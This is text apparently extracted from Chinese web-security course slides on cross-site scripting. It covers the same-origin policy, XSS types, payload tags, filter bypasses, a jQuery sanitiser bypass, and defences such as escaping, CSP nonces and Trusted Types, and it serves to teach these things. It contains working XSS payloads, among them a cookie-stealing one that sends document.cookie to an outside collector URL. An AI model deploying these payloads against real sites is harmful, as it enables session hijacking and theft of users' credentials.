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•

源 api

源 = 协议 + 主机 + 端口

url
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两个url的协议、主机、端口完全相同
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用于判断来自一个源的文档或它所加载的代码（通常是Javascript代码）

是否有权限访问或获取另一个源的资源。

能有效地阻止来自恶意网站的恶意代码、恶意文档对浏览器用户造成的不

利影响，比如阻止攻击者获取用户存在浏览器中的敏感网站（比如银行）

的登录信息（账号密码，cookie等）。





XSS攻击针对的是用户层面的攻击！

XSS使攻击者能获取跨源内容！！！



判断可能有XSS的关键：有将用户输入插入页面的代码
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需要欺骗用户点击链接

恶意代码不存在服务器中





RUC-CTF

http://www.ruc-ctf.site:9124/challenges#WEB%E5%AE%89%E5%85%A8%E8%AF%BE%E7%A8%8B%E6%BC%94%E7%A4%BA-XSS-15


%22%3e%3cscript%3ealert()%3c%2fscript%3e





代码是存储在服务器中的

不需要诱骗用户访问特定url





jsonPost为向后端请求得到的返回值





是基于文档对象模型（DOM）的一种漏洞

一般是通过url传入参数去控制触发的（现实中很少）

这样的漏洞较难利用，因为攻击者需要诱骗用户在页面上输入一些奇怪的

东西
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<script>标签：<script>标签是最直接的XSS有效载荷，脚本标记

可以引用外部的JavaScript代码，也可以将代码插入脚本标记中

svg标签：

<img>标签：



<body>标签：

video标签:

style标签：

学习更多： HTML5 Security Cheatsheet

https://html5sec.org/#html5


• 用户输入作为script标签内容（这种情况一般并不存在）

• 用户输入作为HTML注释内容

• 用户输入作为HTML标签的属性名

• 用户输入作为HTML标签的属性值



• 用户输入作为HTML标签的名字

• 直接插入到CSS里
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<img src=x onerror=alert(document.cookie)>





Payload: boxTitle=123%27%20onclick=location.href=%27http://www.you
wei.site/lby/uploads/recv.php?data=%27%2Bdocument.cookie



过滤了http关键字，过滤了/some?data这种get请求方式

括号被转换为双引号

Payload: boxTitle=%27onclick=%27location.href=(ht)%2B(tp://www .you
wei.site/lby/uploads/recv.php)%2B(?data=)%2Bdocument.cooki
e





获取note

为note创建
一个noteid













加好友
的url和
数据



转账的url和数据
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黑名单过滤虽然可以拦截大部分的XSS攻击，但是还是存在被绕过的风险。

白名单过滤虽然可以基本杜绝XSS攻击，但是真实环境中一般是不能进行

如此严格的白名单过滤的。









url编码：%22%3e%3csCript%3ealert(1)%3c%2fsCript%3e%0a





url编码：%22%3e%3cscrscriptipt%3ealert(1)%3c%2fscrscriptipt%3e%0a







1）黑名单

• 把script, onerror这种危险标签或者属性纳入黑名单，过滤掉它。

• 这种方式你要考虑很多情况，你也有可能漏掉一些情况。

2）白名单

• 这种方式只允许部分标签和属性。不在这个白名单中的，一律过滤掉它。

• 这种方式编码有点麻烦，我们需要去解析html树状结构，然后进行过滤，把过滤后安全的
html在输出。

• 在大部分开发场景中，设置白名单这种过于严格的过滤方式会极大影响用户的体验





在前端，你可以使用.innerText替换.innerHTML函数将内容插入页面

在后端，你可以使用htmlspecialchars函数进行转义



选择前端转义后，走else分支，使
用.innerText函数替换.innertHTML函数



内容替换为：<img onerror=alert() src=x />



选择后端转义，调用
htmlspecialchars 函数
转义从数据库中获取
的数据



内容替换为：<img onerror=alert() src=x />



JavaScript框架已经成为现代Web开发的核心组成部分。它们提供了丰

富的工具和库，帮助开发者构建交互性、现代化的Web应用。

1. JavaScript框架的作用

1.1 构建交互性

JavaScript框架使得开发者能够轻松地实现交互性元素，例如表单验证、

动画和实时更新。

1.2 组件化开发

框架通常支持组件化开发，允许开发者将应用程序拆分为可重用的模块，

提高了代码的可维护性。

1.3 管理应用状态

许多框架提供了状态管理工具，使得管理应用程序状态和数据变得更加

容易。



2. 流行的JavaScript框架

2.1 React

React是一个由Facebook开发的流行框架，专注于构建用户界面。它采用虚拟DOM和组件化

开发，被广泛用于单页面应用（SPA）和移动应用开发。

2.2 Angular

Angular是由Google维护的框架，适用于大型Web应用。它提供了强大的依赖注入、路由、

表单处理和模块化开发功能。

2.3 Vue.js

Vue.js是一个轻量级的框架，易于学习和使用。它具有响应式数据绑定和组件化开发的特

性，广泛用于构建交互式界面。

2.4 Ember.js

Ember.js是一个全栈JavaScript框架，提供了一套完整的工具和最佳实践，用于构建高性能

Web应用。

2.5 jQuery.js

jQuery 是一个高效、精简并且功能丰富的 JavaScript 工具库。它提供的 API 易于使用且兼容

众多浏览器，这让诸如 HTML 文档遍历和操作、事件处理、动画和 Ajax 操作更加简单。



提高开发效率： JavaScript框架提供了丰富的工具和组件，可以快速构建

用户界面。它们具有的响应式设计和组件化开发特性使开发人员能够更高

效地编写和维护代码。

优化用户体验： JavaScript框架通过SPA（Single Page Application）的方

式加载页面，提供更快的响应速度和更流畅的用户体验。这种方式避免了

传统多页面应用的页面切换延迟，使用户能够更快地与应用程序进行交互。

丰富的生态系统： JavaScript框架拥有庞大的开发者社区和丰富的生态系

统，提供了许多开源工具和库，可用于解决各种开发需求，如路由管理、

状态管理、表单验证等。开发人员可以借助这些工具和库快速构建功能强

大的Web应用。

较强的安全性：大多数现代JavaScript框架通过自动转义HTML输出或过滤

HTML输入来减少跨站脚本（XSS）攻击的风险。这意味着当开发者将用户

输入输出到页面时，这些框架会自动处理转义，从而防止恶意脚本的执行。







jQuery XSS Examples

https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html


首先使用如下代码模拟了一个开发场景，即将页面的所有 div 元素替换

为根据 ID 取到的 sanitizedHTML：

我们粗暴地模拟了用户经过消毒之后的输入，并硬编码在了页面中，开

发者试图将这些经过消毒之后的输入插入浏览器中，但是由于这些输入可

能存在不完整的html标签（比如没有闭合的标签），直接插入页面可能导

致页面整体发生变化，开发者使用了jQuery的函数.html()对用户的输入进

行了进一步的处理。



虽然三个 poc 都使用了包含 onerror 事件的 img 标签，但其实它们

是放在属性或 style 元素内部，因此会绕过 HTML 清理器。以 poc1 

为例，根据此 id 取到的值如下：

此时使用html自带的函数.innerHTML()插入能够正确识别标签并插

入DOM中



这个方法将除了
area/br/col…./param标签之外的，
形似
<标签A …/>的标签闭合，在其后
添加了</标签A>





在 jquery 3.x 版本之后使用的正则为：



这就使用到环境里的 poc2（仅适用于 jQuery3.x ），注意这里的

XSS payload 是作为属性出现，所以可以绕过消毒器规则：

该正则会将 x"识别为标签并新增</x”>闭合标签，从而达到 XSS 

的效果：







经过处理会变为：

<select multiple='multiple’>

<option>

<style>

</option>

</select>

<imgsrc=x οnerrοr=alert(123456)>

</style>

</select>









了解更多：内容安全策略（CSP） - HTTP | MDN

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/CSP








图片可以从任何地方加载 (注意“*”通配符)。

多媒体文件仅允许从 media1.com 和 media2.com 加载（不允许从这些

站点的子域名）。

可运行脚本仅允许来自于 userscripts.example.com。

该服务器仅允许通过 HTTPS 方式并仅从 onlinebanking.jumbobank.com 域

名来访问文档。



注意这个示例并未指定 script-src (en-US)；在此 CSP 示例中，站点通

过 default-src 指令的对其进行配置，这也同样意味着脚本文件仅允许从

原始服务器获取。

内容安全策略（CSP） - HTTP | MDN (mozilla.org)

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP


后端代码，为了使
自己的 script代码能
够执行，需要设置
nonce，在这里采用
随机数生成方式

后端代码，为了允许自身定义的
script标签能够执行，需要设置
nonce，nonce不会显示在浏览器
dom中！













学习更多：Google to remove Chrome's built-in XSS protection (XSS Auditor) | ZDNET

https://www.zdnet.com/article/google-to-remove-chromes-built-in-xss-protection-xss-auditor/






TrustedHTML

TrustedScript

TrustedScriptURL

TrustedTypePolicy

TrustedTypePolicyFactory

学习更多：CSP: require-trusted-types-for - HTTP | MDN (mozilla.org)
TrustedHTML - Web APIs | MDN (mozilla.org)

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for
https://developer.mozilla.org/en-US/docs/Web/API/TrustedHTML


'script'

'style'

'innerHTML'

'outerHTML'

'appendChild'

'insertBefore'

'replaceChild'










